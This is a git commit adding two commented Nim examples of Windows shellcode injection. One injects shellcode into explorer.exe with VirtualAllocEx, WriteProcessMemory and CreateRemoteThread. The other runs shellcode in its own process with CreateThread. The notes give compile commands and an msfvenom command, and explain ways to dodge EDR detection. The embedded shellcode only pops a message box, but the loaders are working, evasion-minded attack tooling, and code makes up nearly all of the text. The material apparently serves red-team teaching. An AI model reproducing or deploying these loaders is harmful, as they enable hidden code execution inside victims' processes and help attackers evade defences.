first commit

This commit is contained in:
2025-11-21 17:17:42 +01:00
commit 4cad18c2a5
285 changed files with 122106 additions and 0 deletions
@@ -0,0 +1,150 @@
- This code is analagous to the C# version in that section, except it does not download the shellcode from a remote location and instead hardcodes it for simplicity.
- This code will identify the process ID of explorer.exe and then inject arbitrary shellcode into that process and execute it.
- Any process will do, provided this code is executed with the appropriate permissions to access the process.
- Compilation: `nim c -d:release --opt:size -d:mingw --cpu:amd64 --app:gui .\CreateRemoteThread.nim`
- Console or GUI app will work here for compilation; GUI apps don't show a console window, but may possibly be considered a bit more suspicious by EDR
- Recommended to generate the shellcode with EXITFUNC=thread to avoid terminating the injected process upon shellcode completion
- eg. `msfvenom -p windows/x64/messagebox -f csharp EXITFUNC=thread`
```Nim
#[
Author: Alh4zr3d, Twitter: @alh4zr3d
License: BSD 3-Clause
]#
import winim
proc toStringPPID(chars: openArray[WCHAR]): string = # This custom function converts an array of WCHARs to a Nim string
result = "" # In this case, it's being used to convert a Win32 process name into a Nim string
for c in chars: # so that we can then discern if it is the process we are looking for.
if cast[char](c) == '\0':
break
result.add(cast[char](c))
proc GetProcessByName(process_name: string): DWORD = # This custom function iterates through the current running processes
var # searching for one that matches the name passed into it and returning
pid: DWORD = 0 # the process ID once it is found.
entry: PROCESSENTRY32
hSnapshot: HANDLE
entry.dwSize = cast[DWORD](sizeof(PROCESSENTRY32))
hSnapshot = CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0)
defer: CloseHandle(hSnapshot)
if Process32First(hSnapshot, addr entry):
while Process32Next(hSnapshot, addr entry):
if entry.szExeFile.toStringPPID == process_name:
pid = entry.th32ProcessID
break
return pid
proc injectCreateRemoteThread[I, T](shellcode: array[I, T]): void = # This is the primary function that performs the injection
let targetpid: DWORD = GetProcessByName("explorer.exe") # Identify the PID for the process into which we want to inject (explorer.exe)
let procH = OpenProcess( # This call gets a handle with all access to the target process
PROCESS_ALL_ACCESS, # dwDesiredAccess - Desired access to the process
false, # True/False - Determines whether or not subprocesses will inherit the handle.
targetpid # dwProcessId - Identifier of the process into which we want to inject
)
let baseAddr = VirtualAllocEx( # This call allocates virtual memory for our shellcode in the memory space of the target process (the "Ex" suffix indicates it is used for processes other than this one)
procH, # hProcess - A handle to the target process in which we want to inject
NULL, # lpAddress - Starting address for the region we'd like to allocate; NULL allows the function to choose for us
cast[SIZE_T](shellcode.len), # dwSize - Size of the region to allocate, in bytes (double-words)
MEM_COMMIT, # flAllocationType - The type of memory allocation. MEM_COMMIT allocates and zeroes out the memory.
PAGE_READWRITE # flProtect - The memory protection for the allocated region - we choose PAGE_READWRITE to allow writing to the region
)
var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory( # This call copies our shellcode into the allocated memory space
procH, # hProcess - Target process handle
baseAddr, # lpBaseAddress - Address at which to begin writing (where our space begins)
unsafeAddr shellcode, # lpBuffer - The binary data to copy into the space (our shellcode)
cast[SIZE_T](shellcode.len), # nSize - The number of bytes to copy according to architecture
addr bytesWritten # lpNumberOfBytesWritten - Pointer to the bytesWritten variable to store the number of bytes written after success
)
# We now need to call VirtualProtectEx to make the memory we just wrote to executable
# This is to avoid ever having memory with PAGE_EXECUTE_READ_WRITE permissions
var prevPro: DWORD = 0
var virPro = VirtualProtectEx( # This call changes the memory protections of our allocated memory to make it executable
procH, # hProcess - Handle of process in which the memory exists
baseAddr, # lpAddress - Address at which to change memory permissions (where our allocated memory begins)
cast[SIZE_T](shellcode.len), # dwSize - Amount of memory (in bytes, or "double-words") of which to alter permissions (all of our written shellcode)
PAGE_EXECUTE_READ, # flNewProtect - New permissions
addr prevPro # lpflOldProtect - Pointer to variable of where to store the previous permissions
)
var threadID: DWORD
let threadH = CreateRemoteThread( # This call executes our shellcode as a new thread in the context of the other process.
procH, # hProcess - Handle to the target process
NULL, # lpThreadAttributes - Attributes of new thread; if NULL, the baseline for the process is inherited
0, # dwStackSize - Initial size of the stack of the new thread; if 0, default for executable is set
cast[LPTHREAD_START_ROUTINE](baseAddr), # lpStartAddress - Address at which to begin execution, cast to the proper type
NULL, # lpParameter - Optional pointer to a variable to be passed to the executed function
0, # dwCreationFlags - Thread creation flags; "0" denotes immediate execution of the thread
addr threadID # lpThreadId - Optional pointer to variable in which to store ID of new thread
)
defer: CloseHandle(procH) # These calls close the handles we created to prevent handle leaks
defer: CloseHandle(threadH)
# No need for a WaitForSingleObject call here; the thread is executing in another process
# Therefore, it doesn't matter if this process terminates.
when defined(windows):
when defined(i386):
var shellcode: array[272, byte] = [
byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
0x55,0x08]
elif defined(amd64):
var shellcode: array[295, byte] = [
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]
# This is essentially the equivalent of 'if __name__ == '__main__' in python
when isMainModule:
injectCreateRemoteThread(shellcode)
```
@@ -0,0 +1,108 @@
- This example is analagous to the C# code with the same name in this collection. This one hardcodes the shellcode for simplicity instead of downloading it from a remote server.
- This is the simplest example of process injection; this code simply allocates more memory within its own process, copies shellcode into it, and then executes it.
- Compilation: `nim c -d:release --opt:size -d:mingw --cpu:amd64 --app:gui .\CreateThread.nim`
- This one must be compiled as a GUI app to run as-is; the shellcode pops a message box which is only possible with GDI32.dll loaded, which will be the case for a GUI app.
```Nim
#[
Author: Alh4zr3d, Twitter: @alh4zr3d
License: BSD 3-Clause
]#
import winim/lean # Importing the Winim library, containing important Windows types and function definitions
proc injectCreateThread[I, T](shellcode: array[I, T]): void = # This is the primary function which injects the shellcode into the current process and executes it
let baseAddr = VirtualAlloc( # This call will allocate enough virtual memory within the current process to contain our shellcode.
NULL, # lpAddress - The starting address of the region to allocate; NULL indicates the function should choose for us
cast[SIZE_T](shellcode.len), # dwSize - The size of the region to allocate, in bytes (or "double-words")
MEM_COMMIT, # flAllocationType - The type of allocation to perform; MEM_COMMIT both allocates and zeroes out the region
PAGE_READWRITE # flProtect - The memory protections to place on the newly allocated region
)
var bytesWritten: SIZE_T
let wSuccess = WriteProcessMemory( # This call will copy our shellcode into the newly allocated memory.
GetCurrentProcess(), # hProcess - A handle to the process memory to be written to. GetCurrentProcess() is a Win32 function that simply returns a pseudo-handle to the current process
baseAddr, # lpBaseAddress - Pointer to address at which we should begin writing (where our allocated region begins)
unsafeAddr shellcode, # lpBuffer - Pointer to the shellcode variable to be copied.
cast[SIZE_T](shellcode.len), # nSize - The number of bytes to be written according to architecture
addr bytesWritten # lpNumberOfBytesWritten - Optional pointer to a variable in which to store the actual number of bytes written
)
var prevPro: DWORD = 0 # We now need to call VirtualProtect to make our allocated region (now containing shellcode) executable
# This is done in lieu of simply assigning PAGE_EXECUTE_READWRITE earlier to avoid that common EDR signature
var virPro = VirtualProtect( # This call will change the memory protections on our allocated region
baseAddr, # lpAddress - Address of the starting page to modify (start of our allocated memory)
cast[SIZE_T](shellcode.len), # dwSize - The size of the region to modify, in bytes (or "double-words")
PAGE_EXECUTE_READ, # flNewProtect - The new memory protections to assign to the region
addr prevPro # lpflOldProtect - Pointer to a variable that receives and stores the previous permissions
)
var threadID: DWORD
let threadH = CreateThread( # This call will start a new thread in the current process to execute our shellcode
NULL, # lpThreadAttributes - Pointer to a struct that dermines inheritance of the handle by child processes. NULL prevents inheritance.
0, # dwStackSize - Starting size of the stack of the new thread. "0" indicates the default size for the EXE should be used
cast[LPTHREAD_START_ROUTINE](baseAddr), # lpStartAddress - Pointer to the function to be executed by the thread (the beginning of our shellcode)
NULL, # lpParameter - Optional pointer to a variable to be passed to the thread
0, # dwCreationFlags - Creation flags for the new thread - "0" indicates the thread should execute immediately
addr threadID # lpThreadId - Optional pointer to a variable that will receive the identifier of the new thread
)
# Our shellcode will be executed now, but the main thread will resume (CreateThread is non-blocking). The larger process will
# shortly be terminated, and our shellcode with it. We now need to suspend the main thread until our new thread is finished.
defer: CloseHandle(threadH) # Closing the unused handle to the thread to prevent handle leaks.
defer: WaitForSingleObject(threadH, int32.high) # This call will suspend the main thread of the process until the thread specified by the passed handle terminates.
when defined(windows):
when defined(i386):
var shellcode: array[272, byte] = [
byte 0xd9,0xeb,0x9b,0xd9,0x74,0x24,0xf4,0x31,0xd2,0xb2,0x77,0x31,0xc9,0x64,0x8b,
0x71,0x30,0x8b,0x76,0x0c,0x8b,0x76,0x1c,0x8b,0x46,0x08,0x8b,0x7e,0x20,0x8b,
0x36,0x38,0x4f,0x18,0x75,0xf3,0x59,0x01,0xd1,0xff,0xe1,0x60,0x8b,0x6c,0x24,
0x24,0x8b,0x45,0x3c,0x8b,0x54,0x28,0x78,0x01,0xea,0x8b,0x4a,0x18,0x8b,0x5a,
0x20,0x01,0xeb,0xe3,0x34,0x49,0x8b,0x34,0x8b,0x01,0xee,0x31,0xff,0x31,0xc0,
0xfc,0xac,0x84,0xc0,0x74,0x07,0xc1,0xcf,0x0d,0x01,0xc7,0xeb,0xf4,0x3b,0x7c,
0x24,0x28,0x75,0xe1,0x8b,0x5a,0x24,0x01,0xeb,0x66,0x8b,0x0c,0x4b,0x8b,0x5a,
0x1c,0x01,0xeb,0x8b,0x04,0x8b,0x01,0xe8,0x89,0x44,0x24,0x1c,0x61,0xc3,0xb2,
0x08,0x29,0xd4,0x89,0xe5,0x89,0xc2,0x68,0x8e,0x4e,0x0e,0xec,0x52,0xe8,0x9f,
0xff,0xff,0xff,0x89,0x45,0x04,0xbb,0x7e,0xd8,0xe2,0x73,0x87,0x1c,0x24,0x52,
0xe8,0x8e,0xff,0xff,0xff,0x89,0x45,0x08,0x68,0x6c,0x6c,0x20,0x41,0x68,0x33,
0x32,0x2e,0x64,0x68,0x75,0x73,0x65,0x72,0x30,0xdb,0x88,0x5c,0x24,0x0a,0x89,
0xe6,0x56,0xff,0x55,0x04,0x89,0xc2,0x50,0xbb,0xa8,0xa2,0x4d,0xbc,0x87,0x1c,
0x24,0x52,0xe8,0x5f,0xff,0xff,0xff,0x68,0x6f,0x78,0x58,0x20,0x68,0x61,0x67,
0x65,0x42,0x68,0x4d,0x65,0x73,0x73,0x31,0xdb,0x88,0x5c,0x24,0x0a,0x89,0xe3,
0x68,0x58,0x20,0x20,0x20,0x68,0x4d,0x53,0x46,0x21,0x68,0x72,0x6f,0x6d,0x20,
0x68,0x6f,0x2c,0x20,0x66,0x68,0x48,0x65,0x6c,0x6c,0x31,0xc9,0x88,0x4c,0x24,
0x10,0x89,0xe1,0x31,0xd2,0x52,0x53,0x51,0x52,0xff,0xd0,0x31,0xc0,0x50,0xff,
0x55,0x08]
elif defined(amd64):
var shellcode: array[295, byte] = [
byte 0xfc,0x48,0x81,0xe4,0xf0,0xff,0xff,0xff,0xe8,0xd0,0x00,0x00,0x00,0x41,0x51,
0x41,0x50,0x52,0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x3e,0x48,
0x8b,0x52,0x18,0x3e,0x48,0x8b,0x52,0x20,0x3e,0x48,0x8b,0x72,0x50,0x3e,0x48,
0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,
0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x3e,
0x48,0x8b,0x52,0x20,0x3e,0x8b,0x42,0x3c,0x48,0x01,0xd0,0x3e,0x8b,0x80,0x88,
0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x6f,0x48,0x01,0xd0,0x50,0x3e,0x8b,0x48,
0x18,0x3e,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x5c,0x48,0xff,0xc9,0x3e,
0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0,0xac,0x41,
0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x3e,0x4c,0x03,0x4c,0x24,
0x08,0x45,0x39,0xd1,0x75,0xd6,0x58,0x3e,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0,
0x66,0x3e,0x41,0x8b,0x0c,0x48,0x3e,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x3e,
0x41,0x8b,0x04,0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,
0x58,0x41,0x59,0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,
0x59,0x5a,0x3e,0x48,0x8b,0x12,0xe9,0x49,0xff,0xff,0xff,0x5d,0x49,0xc7,0xc1,
0x00,0x00,0x00,0x00,0x3e,0x48,0x8d,0x95,0xfe,0x00,0x00,0x00,0x3e,0x4c,0x8d,
0x85,0x0f,0x01,0x00,0x00,0x48,0x31,0xc9,0x41,0xba,0x45,0x83,0x56,0x07,0xff,
0xd5,0x48,0x31,0xc9,0x41,0xba,0xf0,0xb5,0xa2,0x56,0xff,0xd5,0x48,0x65,0x6c,
0x6c,0x6f,0x2c,0x20,0x66,0x72,0x6f,0x6d,0x20,0x4d,0x53,0x46,0x21,0x00,0x4d,
0x65,0x73,0x73,0x61,0x67,0x65,0x42,0x6f,0x78,0x00]
when isMainModule:
injectCreateThread(shellcode)
```